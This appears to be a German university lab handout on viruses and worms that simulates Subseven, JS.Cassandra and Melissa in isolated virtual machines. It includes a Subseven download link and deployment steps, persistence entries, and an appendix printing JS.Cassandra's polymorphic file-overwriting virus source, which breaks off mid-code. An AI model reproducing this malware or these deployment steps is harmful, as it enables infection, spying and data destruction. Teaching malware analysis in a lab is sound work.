Lab 8 Viren und Würmer

Transcrição

Lab 8 Viren und Würmer
Lab 8
Viren und Würmer
Bistritsa Georgieva, Ievgeniia Ozeran, Friedrich Keinhorst
Inhaltsverzeichnis
1.Einführung
 Ziel des Labs
 Geschichte
 Arten von Viren und Würmer und ihre Eigenschaften
 Virus und Wurm: der Unterschied
2.Testumgebung einrichten
 Netzwerk zwischen virtuellen Betriebssystemen einstellen
 Eigenen E-Mails-Server einrichten
3.Virensimulation
 Virus Subseven
 Virus JS.Cassandra.A
4. Wurmsimulation

Melissa
5. Fragen
6. Anhänge
7. Quellen
1. Einführung
.Ziel
top↑
des Labs
In diesem Lab geht es um Comupter Viren und Würmer. Was sind eigentlich Viren, und was sind
Würmer? Wie funktionieren sie?
Virus: Ein Virus ist ein Computerprogramm, das sich selbst an ein Programm oder eine Datei
anhängt und auf diese Weise von Computer zu Computer ausbreitet. Er infiziert Computer, indem
eine infizierte Datei oder ein infiziertes Programm geöffnet werden. Viren können Software,
Dateien und sogar Hardware beschädigen. Wenn man sich auf einem Rechner ein Virus eingefangen
hat, merkt man meist erst einmal überhaupt nichts davon. Heimlich, still und leise machen sich
Computerviren auf Festplatten oder Disketten breit. Sie infizieren andere Programme und Dateien,
indem sie sich an diese anhängen, sie überschreiben oder anderweitig ersetzen. Harmlose Viren
bringen beispielsweise nervige Meldungen auf den Bildschirm, die bösartigen allerdings sind in der
Lage, zu einem vorgegebenen Zeitpunkt den gesamten Inhalt der Festplatte zu löschen.
Ein Wurm ist ein Programm, das sich in der Regel über Netzwerke ausbreitet. Er hängt sich nicht
an andere Programme an, sondern vermehrt sich eigenständig. Bekanntestes Wurmbeispiel aus der
jüngeren Vergangenheit ( wir kommen später zu der Geschichte ) ist "Happy99.exe", der sich als
Anhang an E-Mail-Nachrichten und Usenet-Beiträgen im Internet fortsetzt.
Geschichte
Computervirus:
top↑
Computerwurm:
Die Ära der DOS-Viren: 1990–1995
1992 :
–
löste auch das Michelangelo-Virus eine enorme Medienhysterie aus. Mit ihm wurde die
Existenz der Viren in der breiten Öffentlichkeit bekannt.
–
Win16.Vir_1_4 : der erste Microsoft Windows 3.11 Virus
Die Ära der Makro-Viren: 1995
1996: „Boza“- der erste Virus für Microsoft Windows 95.
1998: die erste polymorphen Viren erschienen. Im selben Jahr wurden auch die ersten VBS und
JavaScript Viren bekannt. Es konnten auch Webseiten mit Viren infiziert werden.
Neue Nischen für Viren, und die Würmer verbreiten sich immer mehr:
–
2001: die ersten Würmer mit eigenen SMTP-Emgine und soche, die sich über ICQ verbreiten.
–
Im selber Jahr wurde eine Lücke in IIS von „CodeRed“ ausgenutzt.
–
2003 der „SQL Slammer“ nutzt eine Lücke in Microsoft SQL Sever aus
- Viren wurden immer mehr durch Würmer ersetzt.
2004: der Virus Win64.Rugrad Microsoft für Windows XP 64-bit erschien.
Im selben Jahr verbreitet sich auch der Wurm MyDoom. In ein Paar Stunden wurde Internet 10%
langsamer.
2005 - die erste Viren und Würmer für Handys
2006- der erste Wurm für MAC-OS-X erschien. Bis dahin galt das Betriebssystem der MacintoshComputer als gänzlich von Würmern unbelastet.
Oktober 2005: Virus für Windows Vista erschien. Der MSIL.Idoneus nutzt .NET Framework 2.0,
um sich weiterzuverbreiten.
Eine weitere Gefahr wird in Zukunft von StarOffice – und OpenOffice-Makroviren ausgehen, die
im Juli 2006 entdeckt wurden. Da die Zahl von Benutzern, die nicht mehr auf Microsoft Office
setzen, im Anstieg ist, war eine Konsequenz daraus, dass diese Programme angegriffen wurden.
Arten
von Viren und Würmer und ihre Eigenschaften
top↑
Was ist ein Virus?
Ein Computervirus ist ein kleines Programm, das dazu geschrieben wurde, die Funktionsweise
eines Computers ohne die Erlaubnis oder Kenntnis des Benutzers zu ändern. Ein Virus muss zwei
Kriterien erfüllen:
•Er
muss sich selbst ausführen. Er legt seinen eigenen Code häufig in den Ausführungspfad
eines anderen Programms.
•Er muss sich replizieren. Er kann beispielsweise andere ausführbare Dateien durch eine mit
einem Virus infizierte Datei ersetzen. Viren können sowohl Desktop-Computer als auch
Netzwerk-Server infizieren.
Manche Viren sind dazu programmiert, dem Computer zu schaden, indem sie Programme
beschädigen, Dateien löschen oder die Festplatte neu formatieren. Andere wurden nicht dazu
ausgelegt, Schaden anzurichten, sondern lediglich dazu, sich zu vervielfältigen und ihre
Anwesenheit durch Text, Bild und Ton bekanntzugeben. Selbst diese ungefährlichen Viren können
dem Computerbenutzer Probleme bereiten. Sie belegen Computerspeicher, der von legitimen
Programmen benötigt wird. Sie verursachen daher oft ein fehlerhaftes Verhalten und können zu
Systemabstürzen führen. Darüberhinaus enthalten viele Viren Fehler, die Systemabstürze und
Datenverlust verursachen können.
Es gibt fünf bekannte Virentypen:
•Programmviren:
Programmviren infizieren Programmdateien. Diese Viren infizieren
normalerweise ausführbaren Code, wie z.B. .com- und .exe-Dateien. Sie können andere
Dateien infizieren, wenn ein infiziertes Programm von der Diskette, Festplatte oder vom
Netzwerk aus ausgeführt wird. Viele dieser Viren nisten sich im Speicher ein. Nachdem der
Speicher infiziert ist, werden alle nichtinfizierten Programme, sobald sie ausgeführt werden,
damit infiziert. Beispiele bekannter Programmviren sind Jerusalem und Cascade.
•Bootviren: Bootviren infizieren den Systembereich eines Datenträgers, d.h. den Startsektor
auf Disketten und Festplatten. Alle Disketten und Festplatten (einschließlich reine
Datenmedien) enthalten ein kleines Programm im Startsektor, welches beim Computerstart
ausgeführt wird. Bootviren hängen sich in diesen Bereich der Diskette oder Platte ein und
werden aktiviert, wenn der Benutzer versucht, vom infizierten Speichermedium aus zu starten.
Diese Viren sind gewöhnlich im Arbeitsspeicher geladen. Die meisten wurden für DOS
geschrieben, aber alle PCs - ungeachtet des verwendeten Betriebssystems - sind der Gefahr
dieses Virentyps ausgeliefert. Um den Rechner zu infizieren, genügt es schon, ihn mit einer
infizierten Diskette zu starten. Solange nun der Virus im Arbeitsspeicher verbleibt, werden alle
nicht schreibgeschützten Disketten infiziert, wenn auf diese Diskette zugegriffen wird. Form,
Disk Killer, Michelangelo und Stoned sind Beispiele solcher Bootviren.
•Master Boot Record-Viren: Master Boot Record-Viren sind Viren im Arbeitsspeicher, die
Disketten auf dieselbe Weise infizieren wie Bootviren. Der Unterschied zwischen den beiden
Virentypen ist der Ort des viralen Codes. Master Boot Record-Viren sichern die Kopien
legitimer Master Boot Records in einem anderen Bereich. Windows-NT-Rechner, die entweder
mit einem Bootvirus oder einem Master Boot Record-Virus infiziert wurden, können nicht
mehr gestartet werden. Dies liegt an den Unterschieden des Systemzugriffs auf die
Startinformationen zwischen NT und 95/98. Wenn Ihre NT-Systeme FAT-Partitionen enthalten,
können Sie den Virus gewöhnlich entfernen, indem Sie im DOS-Modus starten und AntivirusSoftware verwenden. Wenn die Startpartition sich auf einer NTFS-Partition befindet, muss das
System mit den drei Windows NT-Startdisketten wiederhergestellt werden. Beispiele solcher
Master Boot Record-Viren sind NYB, AntiExe und Unashamed.
•Hybridviren: Hybridviren (auch bekannt als polypartite Viren) infizieren Startsektoren und
Programmdateien. Diese sind besonders schwer zu entfernen. Wenn der Bootbereich virenfrei
ist, die Dateien aber nicht, wird der Bootbereich wieder infiziert. Dasselbe gilt für das Säubern
infizierter Dateien. Wenn der Virus nicht aus dem Startsektor entfernt wurde, werden alle
Dateien, die Sie von Viren befreit haben, wieder infiziert. Beispiele dieser Hybridviren sind
One_Half, Emperor, Anthrax und Tequilla.
•Makroviren: Dieser Virentyp infiziert Datendateien. Sie kommen am häufigsten vor und
haben Unternehmen bei der Reparatur viel Zeit und Geld gekostet. Mit der Einführung von
Visual Basic in Microsoft Office 97 kann ein Makrovirus geschrieben werden, der nicht nur
Datendateien infizieren kann, sondern auch andere Dateitypen. Makroviren infizieren Dateien
der Programme Microsoft Office Word, Excel, PowerPoint und Access. Neuere Arten tauchen
auch in anderen Programmen auf. All diese Viren benutzen die interne Programmiersprache
eines Programms, die Benutzern ermöglicht, bestimmte Aufgaben in diesem Programm zu
automatisieren. Da diese Viren leicht zu erstellen sind, sind zur Zeit Tausende von ihnen im
Umlauf. Beispiele von Makroviren sind W97M.Melissa, WM.< und W97M.Groov.
Was ist ein Trojaner?
Trojaner sind Betrüger -- es handelt sich dabei um Dateien, die sich als wünschenswert ausgeben,
aber in Wahrheit schädlich sind. Ein sehr wichtiges Unterscheidungsmerkmal ist, dass sie sich im
Gegensatz zu Viren nicht replizieren. Trojaner enthalten bösartigen Code, der bei Auslösung
Datenverlust oder -diebstahl zur Folge hat. Damit ein Trojaner sich verbreiten kann, müssen Sie
diese Programme auf Ihren Rechner lassen -- z.B. durch das Öffnen eines E-Mail-Anhangs oder
Herunterladen einer Datei vom Internet. Trojan.Vundo ist zum Beispiel ein Trojaner.
Was ist ein Wurm?
Würmer sind Programme, die sich ohne Zutun einer Wirtsdatei von System zu System replizieren.
Darin liegt der Gegensatz zu Viren, die zur Ausbreitung eine infizierte Wirtsdatei benötigen.
Obwohl die Würmer im allgemeinen im Innern anderer Dateien existieren - häufig in Word- oder
Excel-Dokumenten - gibt es einen Unterschied zwischen der Benutzung der Wirtsdatei durch einen
Wurm und der eines Virus. Gewöhnlich bringt der Wurm ein Dokument heraus, das das
Wurmmakro bereits in sich trägt. Das ganze Dokument wird von Computer zu Computer
weitergeleitet, so dass das ganze Dokument als Wurm betrachtet werden sollte.
W32.Mydoom.AX@mm ist ein besonders gängiges Beispiel.
Virus
und Wurm: der Unterschied
top↑
Der Computer muss bei einer Wurm-Infektion nicht unbedingt krank werden. Ein Virus hingegen ist
auf Zerstörung aus. Und es gibt noch einen Unterschied wie in der Biologie: Während der Virus
nicht selbstständig ist und immer irgendwo angehängt ist, ist der Wurm ein eigenständiges
Programm, das sich im Idealfall ohne Hilfe des Anwenders auf dem Computer und im Netz
verbreitet.
Ein Virus muss also vom Anwender gestartet werden. Das geschieht meist über den Start eines
infizierten Programms, in das sich der Virus eingeschleust hat. Durch den Programmstart ist er im
Speicher präsent und in der Lage, weitere Programme oder Dateien anzustecken, in deren
Schlepptau er seine Reise zu neuen Ufern startet.
Viren sind meist bösartig. Sie sind gebaut, um auf dem Computer Schaden anzurichten. So gibt es
Viren, die nach einer gewissen Latenzzeit den Bootsektor einer Festplatte zerschießen, die Platte
direkt oder bestimmte Programme löschen. In der Hochzeit der Viren-Programme Mitte der 90er
gab es auch Viren, die sich hämisch mit einem bösen Gruß meldeten, während im Hintergrund das
System zerstört wurde. Dabei waren Viren zuletzt so gefährlich, dass sie auch ernsthafte HardwareDefekte verursachen konnten.
2. Testumgebung einrichten
top↑
 Netzwerk zwischen virtuellen Betriebssystemen einstellen
Als erstes sollen zwei oder mehrere virtuelle Betriebsysteme installiert werden. Das kann man
entweder auf einem oder auf mehreren Computern machen. Wenn man mehrere Computer benutzt,
müssen sie dann mit Netzwerkkabel verbunden werden, die man nötigensfalls mit einem Switch
verbindet.
Um ein Betriebssystem virtuell zu installieren, muss eine virtuelle Maschine heruntergeladen,
installiert und eingerichtet werden. Dafür ist z.B. VirtualBox gut geeignet.
Ein Image von Windows XP kann von der Universität-Internetseite http://msdnaa.mi.fu-berlin.de/
kostenlos heruntergeladen werden.
Netzwerk einrichten:
Nachdem mindestens zwei virtuelle Betriebssysteme installiert sind, kann man ein Netzwerk
zwischen ihnen einrichten. Dafür wird für jedes Betriebssystem in der Virtualbox bei den
Netzwerkeinstellungen Adapter 2 aktiviert und unter „Angeschlossen an:“ wird „internes
Netzwerk“ ausgewählt. Unter den einzelnen Virtuellen Maschinen muss ein kleines Netwerk
eingerichtet werden.Dabei muss es allen virtuallen Betriebssystemen derselbe Workgroup-Name
zugewiesen werden.
Eigenen
E-Mails-Server einrichten
top↑
Wir haben den Mailserver „Hamster“ benutzt. Er ist klein und perfekt geeignet für lokales
Netzwerk. Hier kann man ihn herunterladen: http://www.tglsoft.de/freeware_hamster.html
Nachdem man ihn entpackt, startet man den Hamster. Dann sollte man die IPs einrichten: Menu
Einstellungen → Lokale server → unten das Kästchen „temp. Erweiterte Einstellungen“ ankreuzen
→ Allgemeines → IPAccess host bearbeiten
Dort kann man die Rechte für bestimmte IPs vergeben, .Z.B. ALL, RW, 198.162.0.0, 192.168.0.100
(alle in diesem Bereich können lesen und schreiben ), oder ALL,NA, 0.0.0.0, 255.255.255.255
(Internet Adressen haben keine Rechte).
Unter den Menüpunkten POP3, IMAP und SMTP muss man die IP Adresse des eigenen Computers
angeben (der Virtuellen Maschine).
Unter dem Menüpunkt Einstellungen → Benutzerverwaltung & Passworte kann man Benutzer
hinzufügen.
Somit haben wir einen Server, und die andere Virtuellen Maschinen sind Clients. Es ist sehr
wichtig, dass sie in einem Netzwerk sind. Die IPs der Clients müssen auch eingestellt werden,
sodass sie vom Mail Server gesehen werden können. D.h. wenn ALL, RW, 198.162.0.0,
192.168.0.100, dann müssen die IPs der Clients in diesem Bereich liegen.
Dies alles wird für die Simulation vom Wurm Melissa in einer gesicherten Umgebung
gebraucht,ohne Internet natürlich, weil er ein e-mail Wurm ist. Um die virtuellen Systeme vom
Internet zu trennen, muss der Netzwerkadapter 1 jeweils deaktiviert werden.
3. Virensimulation
Virus
top↑
Subseven
Beschreibung
Subseven (auch Sub7 oder Backdoor-G) ist - neben netbus - eines der bekanntesten und
leistungsstärksten Backdorprogramme (ugs. auch Trojaner genannt) für Windows, welches Hacker
ermöglicht, auf ein fremdes System zuzugreifen. Es hat allerdings inzwischen viel von seiner
Gefährlichkeit verloren, da es praktisch von jedem Virenscanner erkannt und beseitigt wird. Die
erste ungepackte Version von Subseven erschien im Mai 1999. Inzwischen liegt das Programm in
der Version 1.9 vor.
Das Programm besteht aus einem Server- und einem Client-Programm welches zur Fernbedienung
von Rechnern in einem Netzwerk eingesetzt werden kann. Mit Hilfe des Client kann ein Hacker in
ein mit dem Server (dies ist der eigentliche Trojaner) infiziertes System eindringen. Bei den neueren
Versionen von Subseven wird auch immer noch ein Editserver mitgeliefert, mit dessen Hilfe sich
viele unterschiedliche Einstellungen am Server vornehmen lassen.
Funktionsweise
Sobald der Server gestartet wurde, hat ein "Hacker" mit dem Client volle Kontrolle über den
Computer des betroffenen Anwenders. Dabei wird die IP-Adresse des betroffenen Rechners benutzt.
Um sie herauszufinden, wird die Funktion "IP Scanner" benutzt. Man gibt einfach den Bereich ein,
in dem man IP-Adressen finden möchte.
Die Bedienung der Funktionen erfolgt ab der Version 2 über ein grafisch sehr ansprechendes
Interface: siehe Abb. 1
Folgende Funktionen sind in der aktuellen Version vorhanden:
Fun Manager
•Maus-Zeiger
verstecken
und -Auflösung verändern
•Internet-Verbindung unterbrechen
•Ändern von Datum und Zeit
•Verstecken (und Anzeigen) der Desktop-Icons und des Start-Buttons
•Ein- und Ausschalten des Monitors
•Disable/ Enable von <CTRL+ALT+DEL>
•Aufzeichnen der Signale von angeschlossenem Mikrofon
•Windows-Farben
Connection Manager
•IP-Scanner
•Abfrage
von Computer- und User-Name
•Abfrage verschiedener Hard- und Software-Informationen (CPU Speed, HD Größe, aktuelle
Auflösung, Windows-Version etc.)
•Benachrichtigung per ICQ, IRC und E-Mail (über aktivierten Server)
Keyboard Manager
•Loggen
von Tastatur-Eingaben (auch Offline!!!)
Spy
•Abschalten der Tastatur
•Schließen und Entfernen (Deinstallieren) des Server
•ICQ
Misc. Manager
•Anzeige
von Passwords (ge-cached oder aufgezeichnet)
•Capture einer angeschlossenen Kamera
•Bildschirm-Capture (automatisch: zwischen 1 und 30 sec)
•Öffnen eines FTP-Servers
•Editieren der Registry
•Ausdrucken von Text (TXT und RTF) auf dem angschlossenen Drucker
Mit dem Tool EditServer können fast alle Standardwerte des Servers verändert werden, um die
Erkennung für den Normalanwender zu erschweren. So erlaubt es einen zufälligen TCP/IP-Port zu
verwenden, um einer Entdeckung durch eine Firewall zu entgehen. Siehe Editserver.jpg
Simulation
Um Subserver zu testen, müssen die folgenden Funktionalitäten durchgeführt werden:
- den Subserver von der entsprechenden Seite herunterladen - mit dem Editserver notwendige
Einstellungen auswählen und die Server-Datei als .exe Datei speichern.
- die Server-Datei mittels eigenen Mailservers an einen virtuellen Rechner verschicken
- die Server-Datei auf der virtuellen Maschine aufmachen. Jetzt kann die virtuelle Maschine
ferngesteuert werden.
Ergebnisse der Simulation unter Windows XP
Da der Virus für ältere Versionen von Betriebssystemen erstellt wurde, funktionieren unter
Windows XP nicht alle der vorhandenen Funktionen. Man kann aber trotzdem ganz viel
ausprobieren, z.B. das Datum ändern, das Desktop umdrehen, den Internetexplorer aufmachen usw.
Sofern man die Datei "Server.exe" zugemacht hat, hat der Hacker keine Kontrolle mehr über den
Rechner.
Entfernung
Erstmal muss man einen aktuellen Antivirus herunterladen und installieren, da der Subseven von
den meisten aktuellen Antiviren entdeckt wird. Man sollte alle auch fünf Möglichkeiten überprüfen,
über die der Trojaner gestartet wird:
· Subseven trägt sich in den Registry-Key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\ ein.
· Subseven trägt sich in die Win.ini unter Load oder Run ein:
[windows]
load=c:\windows\server.exe
run=
· Subseven trägt sich in die System.ini als Parameter der Windowsshell ein:
[boot]
shell=Explorer.exe c:\windows\server.exe
· Subseven manipuliert die Verknüpfung für EXE-Dateien. In der Registry ist vermerkt, mit welcher
Anwendung welcher Dateityp geöffnet wird, wenn der Anwender im Windows-Explorer auf eine
Datei doppelklickt. Eine EXE-Datei verweist auf sich selbst. SubSeven ändert nun den
Standardwert unter HKEY_CLASSES_ROOT\exefile\shell\open\command\ von "%1 % *" auf
"server.exe %1 %*", sodass zuerst immer der Trojaner gestartet wird und erst dann die Anwendung.
Subseven kann hier herunterladen werden:
http://esnips.co.il/doc/328d8ad7-cb80-4e40-b8e9-ffe6319f8238/subseven
Abb. 1
Abb. 2
Virus
JS.Cassandra.A
top↑
Infektionslevel: niedrig
Betroffene Betriebssysteme: Windows XP /2000/NT/ME/98/95
Erste Inketion endveckt im Dezmber 2003
Virusbeschreibung && Funktionsweise:
Dieser Virus verbreitet sich nicht automatisch. Er erreicht andere Computer durch Kopieren seines
Codes in andere JavaScript Dateien .
Er nutzt die Interaktion der Benutzer aus, der verschiedene infizierte Dateien, Applikationen,
Webseiten oder E-mails öffnet.
Die infizierte Dateien werden weiter als E-mail Anhang, Cd/DVD/ , Floppy, Internet Downloads,
Dateien die durch FTP verbreitet werden, IRC Kanäle, P2P Sharing Netzwerke, usw. verbreitet.
Nachdem der Virus die Dateien mit seinem Code überschreibt, sind diese nicht mehr
wiederherzustellen. Wenn der Benutzer diese Datei versucht zu öffnet, wird der Virus neu
ausgeführt.
Es handelt sich um ein polymorphen Virus, d.h. er mutiert, ändert seinen Code, bei dem aber die
Algorithmen die gleichen bleiben.
Eins von den Polymorphismen ist dass seine 12 Funktionen ihren Platz wechseln.
Das soll die Antivirenprogramme verwirren.
Simulation:
Auf der Virtuellen Maschine die JS Virus Datei speichern. Im selben Ordner andere JS Dateien
speichern. Die Virus Datei ausführen (einfach drauf klicken) und die Größe der anderen Dateien
beobachten. Der Virus überschreibt den Inhalt der Datei mit seinem Code, was man sofort an der
Größe der Dateien sehen kann (siehe Abb. 3 und Abb.4)
Entfernung:
Man braucht nur eine aktuelle Version eines Antivirusprogramms auf der Virtuellen
Maschine installiert haben. Dieser Virus wird von den meisten Antivirusprogrammen
gefunden.
Abb.3 (Vor dem Ausführen des Viruses)
Abb. 4 (Nach dem Ausführen des Viruses)
4. Wurmsimulation
Der
top↑
Wurm Melissa
Sprache: Visual Basic
Gefährdete Betriebssysteme: Windows 95, Windows 98, Windows ME, Windows NT, Windows
2000 alle... , Windows XP , Windows 2003 , Windows Vista , OS2 zurück.
Gefährdete Dateien: Microsoft Word 97 und Word 2000, und auch Microsoft Excel 97, 2000 und
2003. E-Mails können aus den e-mail clients Microsoft Outlook 97 oder Outlook 98 verschickt
werden.
Beschreibung:
Spektakulärer Makro-Virus, vor dem Ende März 1999 US-Computervirenforscher explizit warnten,
da er sich schneller ausbreiten würde als alle anderen bis zu diesem Zeitpunkt bekannten ComputerViren. In den USA sollen bereits am ersten Tag nach dem Aussetzen des Virus rund 10.000 Rechner
mit Melissa-Virus infiziert worden sein.
Melissa verbreitet sich über E-Mails mit dem Betreff "Important Message from <ABSENDER>"
und beinhaltet neben der Text-Zeile "Here ist that document you asked for... don't show anyone
else ;-)" eine Word97-Datei.
Es ist wichtig zu beachten, dass das Öffnen einer E-Mail-Nachricht, die ein Dokument mit dem
Virus enthält, den Virus nicht aktiviert. Er wird aktiviert, wenn der Benutzer das Word-Dokument
öffnet und dabei Makros aktiviert.
Wird das Dokument geöffnet,
•deaktiviert
Melissa "selbständig" die Makro-Virus-Kontrolle von Word,
•das Makro sucht sich die Ziel-Adressen der letzten 50 versandten E-Mails aus Outlook
Express (E-Mail-Programm von Microsoft) und
•versendet an diese Adressen ebenfalls die Viren-Mail.
Wird ein anderer E-Mail-Client als Outlook-Express benutzt, unterbleibt zwar der Versand des
Virus, alle Word-Dateien auf dem Rechner werden aber trotzdem infiziert.
Zwar sind (anfänglich) keine zerstörerischen Eigenschaften bei Melissa zu erkennen, doch durch
das enorme E-Mail-Aufkommen sollen vor allem die Mail-Server von größeren Firmen, wie
Boeing, INTEL oder Compaq lahmgelegt worden sein.
Zeitweise schaltete der betroffene Software-Gigant Microsoft sogar seine überlasteten E-MailServer ganz ab, um eine weitere Verbreitung von Melissa zu verhindern.
Simulation
Simulation im Outlook 5
Der Virus wurde unter Windows 2000 simuliert. Dafür wurde der Microsoft Outlook 5, sowie MS
Office 2000 benutzt. Bevor man mit der Simulation anfangen konnte, musste der Quellcode des
Viruses kompiliert werden. Die Kompilation wurde mittels der Software "vbstoexe" durchgeführt.
Danach wurde eine infizierte Word-Datei mit dem Virencode per E-Mail verschickt.
Soweit sie dann bei dem Empfänger geöffnet wurde, wurden alle Word- und Excel-Dateien auf dem
Rechner infiziert und zwar folgendermaßen:
- man konnte eine existierende Word-Datei nicht mehr lesen, nachdem sie infiziert wurde. Wenn
man eine neue Word-Datei versuchte zu erstellen, wurde sie nach der Veränderung nicht mehr
gespeichert und es erschien ständig eine Mitteilung darüber, dass die Datei von einem anderen
Benutzer verwendet wird -> Siehe das Bild "Word 2000".
- Beim Lesen einer Excel-Datei erschien zwar auch eine Fehlermeldung, die Datei konnte aber
gelesen sowie verändert werden -> Siehe das Bild Abb.5
Durch MS Outlook 5 wurde der Wurm nicht automatisch weiterverbreitet.
Mit Outlook 98 würde die Selbstverbreitung klappen.
Abb. 5
Abb. 6
Gegenmaßnahmen (Impfung)´:
Der Virus kann man durch einen Eintrag in der Windows-Systemregistrierung an einer Infizierung
des PCs hindern, indem man ihm vorgaukelt, dass Melissa bereits tätig ist:
1.Klicken Sie auf "START" -> "Ausführen"
2.Geben Sie "regedit" ein und bestätigen Sie mit ENTER
3.Doppelklicken Sie zuerst auf HKEY_CURRENT_USER, dann auf Software, anschließend
auf Microsoft und auf Office
4.Klicken Sie in der Menü-Leiste auf "Bearbeiten" -> "Neu" -> "Zeichenfolge"
5.Geben Sie "Melissa?" ein und bestätigen Sie mit ENTER
6.Klicken Sie mit der rechten Maustaste auf den soeben erstellten Eintrag und auf "Ändern"
7.Geben Sie in das "Wert"-Feld: "... by Kwyjibo" ein
8.Klicken Sie auf "OK" und schließen Sie den Registrierungseditor.
So eine „Impfung“ kann man natürlich auch gegen anderen Viren machen, wenn man weiß,
was für Registry Keys sie im regedit eintragen.
Entfernung
Installieren Sie einfach ein aktuelles Antivirus-Programm und dann scannen Sie Ihr virtuelles
Betriebssystem. Hier ist z.B. eins: http://www.free-av.de/
http://www.glossar.de/glossar/1frame.htm?http%3A//www.glossar.de/glossar/z_melissa.html
Abb. 7
5. Fragen
Zu Subseven:
1. Wie genau funktioniert die Server - Client Struktur von Subseven? Wie findet der
Server seine Clients? (eventuell mit Pseudocode erklären)
2. Was heißt es, dass er ein Backdoor Virus ist?
3. Was passiert nach der Installation von Subseven-Client?Wie wird er gestartet?
Zu JS.Cassandra
1. Was passiert mit dem Code des von JS.Cassandra infiziertem Programm?
2. Was bedeutet es, dass ein Virus polymorph ist?
3. Geben Sie 3 Beispiele für Polymorphie in JS.Cassandra
4. Was für ein Art Virus ist er?
5. Wieso ist , Ihrer Meinung nach, die Infektionslevel von diesem Virus niedrig?
Zu Melissa
1. Was ist ein Makrovirus?
top↑
2. Weshalb konnte sich Melissa so schnell ausbreiten?
3. Warum klappt es mit dem Infizieren von Office-Dateien seit der Office-Version 2003
nicht mehr?
4. Was macht Melissa mit dem Register beim Eindringen in den Coputer?
Allgemeine Fragen:
1. Was ist die beste Vorgehensweise, wenn man den Computer nicht mit Viren infizieren
möchte?(ausßer der Installation des aktuellen Antivirus-Programms)
6. Anhänge
top↑
JS.Cassandra.A SourceCode
JS.Cassandra
by Second Part To Hell[rRlf]
www.spth.de.vu
[email protected]
written from May 2003 to August 2003
in Austria
This is a really hardcore polymorphic JavaScript virus I did in summer of 2003.
The virus contains four very different polymorphism technique, which were never seen
in any other JavaScript virus (beside of 'variable-name-changeing' [jackie and kefi
did it before, but I did it in my own way]). The virus also encrypts it one in ten,
and if it's already encrypt the chance to encrypt itself again will be one to nineteen.
If it is encrypt, the virus encrypts will encrypt it by the chance of one to seven.
OK, now I'll write something more exactly about JS.Cassandra:
--> Polymorphism engine I - Add Garbage/Junk code:
- Chance: Unencrypt virus - 1:3 | every 1:4th line ( if last letter of the next line <> '{' )
- Adds:
* var anything='anything'
( 1:6 )
* var anything=numbers
( 1:3 )
* // anything
( 1:6 )
* if (number==number) { anything("") } ( 1:6 )
* for (anything=0; anything<number; anything++) { anything("") } ( 1:6 )
- Polymorphism Level (from Vesselin Bontchev): Level 3
--> Polymorphism engine II - Body Changing:
- Chance: Unencrypt virus - 1:3
- Behavior: Randomly mixes up all the 12 functions
- Possible Variants: 12! ( 12*11*...*2*1 | 479.001.600 )
- Polymorphism Level (from Vesselin Bontchev): Level 6 (Permutation)
--> Polymorphism engine III - Variable Changing:
- Chance: Unencrypt virus - 1:3
- Behavior: Changes 47 variables (name and length)
- Polymorphism Level (from Vesselin Bontchev): Level 2
--> Polymorphism engine IV - Number Changing:
- Chance: (Un)encrypt virus - 1:1 | every 1:10th number
- Behavior:
Number '10' chould also be:
* (2+8)
* (14-4)
* (120/12)
- Polymorphism Level (from Vesselin Bontchev): Level 2
--> Encryption engine:
- Chance: If it's already encrypt - 1:19, else - 1:9
- Behavior: Read every letter from the virus and change it to characters,
than it will be run via 'String.fromCharCode()' and 'eval()'.
--> Decryption engine:
- Chance: Encrypt virus - 1:7
- Behavior: Read every number, and write it to the code again as ASCIIs.
--> Infection:
- Behavior: overwrites every .JS file in the current directory.
I tried to add EPO, but it was near to impossible, because neiter
I don't know the place of the virus, nor the length, nor the name
of the first function. It would be possible to include a special
line infront and after the virus (like '//////'), and use a static
first function name, but I guess, AVs will use that in any way, so
I didn't use it.
Now I have to thank jackie for writing the JS.Opitz, because I used 3 important
lines he discovered.
--------------------------------------< JS.Cassandra >-------------------------------------cassandra()
function cassandra()
{
code=''; nl=String.fromCharCode(13,10);
fileall=varsd(2).OpenTextFile(varsd(1)).ReadAll(); start=19;
if (fileall.charAt(0)=='e' && Math.round(Math.random()*6)==1) { decrypt(fileall,
fileall.substring(25, fileall.length-2), '') }
if (fileall.charAt(0)!='e')
{
start-=10;
if (Math.round(Math.random()*2)==1) { Trash(''); }
if (Math.round(Math.random()*2)==1) { bodychange('cassandra()'+nl,0,0,0,0,0,0,0,0,0,0,0,0); }
if (Math.round(Math.random()*2)==1) { varchange(); }
}
if (Math.round(Math.random()*start)==1) { CodeToChar('eval(String.fromCharCode('); }
code=numberchange('')
infectit(code)
}
function numberchange(code)
{
fileall=varsd(2).OpenTextFile(varsd(1),1).ReadAll()
fileb=varsd(2).OpenTextFile(varsd(1),1)
for (i=0; i<fileall.length; i++)
{
sign=fileb.Read(1)
checka=1;
if (sign.charCodeAt(0)>47 && sign.charCodeAt(0)<58)
{
checka=0; code=findfullnumber(sign, code)
}
if (checka) { code+=sign; }
}
fileb.Close()
fileb=varsd(2).OpenTextFile(varsd(1),2)
fileb.Write(code)
fileb.Close()
return(code)
}
function findfullnumber(sign, code)
{
numbber=sign;
for (j=i; j<fileall.length; j++)
{
checky=1; sign=fileb.Read(1); i++;
if (sign.charCodeAt(0)>47 && sign.charCodeAt(0)<58 || sign=='.') { numbber+=sign;
checky=0;}
if (checky==1) { j=fileall.length }
}
checky=Math.round(Math.random()*4)
if (checky==1)
{
calc=Math.round(Math.random()*2)+1;
randon=Math.round(Math.random()*10)+1;
if (calc==1) { newnum='('+(numbber-randon)+'+'+randon+')' }
if (calc==2) { newnum='('+(numbber/1+randon)+'-'+randon+')' }
if (calc==3) { newnum='('+(numbber*randon)+'/'+randon+')' }
code+=newnum+sign;
}
if (checky!=1) { code+=numbber+sign }
return(code)
}
function CodeToChar(code)
{
fileall=varsd(2).OpenTextFile(varsd(1),1).ReadAll()
fileb=varsd(2).OpenTextFile(varsd(1),2)
code+=fileall.charCodeAt(0)
for (i=1; i<fileall.length; i++)
{
code+=','+fileall.charCodeAt(i)
}
code+='))'
fileb.Write(code)
fileb.Close()
}
function Trash(code)
{
fileall=varsd(2).OpenTextFile(varsd(1)).ReadAll()
fileb=varsd(2).OpenTextFile(varsd(1),1)
for (i=0; i<fileall.length;)
{
sign=fileb.ReadLine(); checky=0
for (j=0; j<sign.length; j++)
{
if (sign.charCodeAt(j)==123 && sign.length==j+1) { checky=1; }
}
i+=sign.length+2
if (checky==0 && Math.round(Math.random()*3)==1)
{
randon=Math.round(Math.random()*5)+1
if (randon==1) { code+='var '+trashname('')+'='+String.fromCharCode(39)+trashname('')
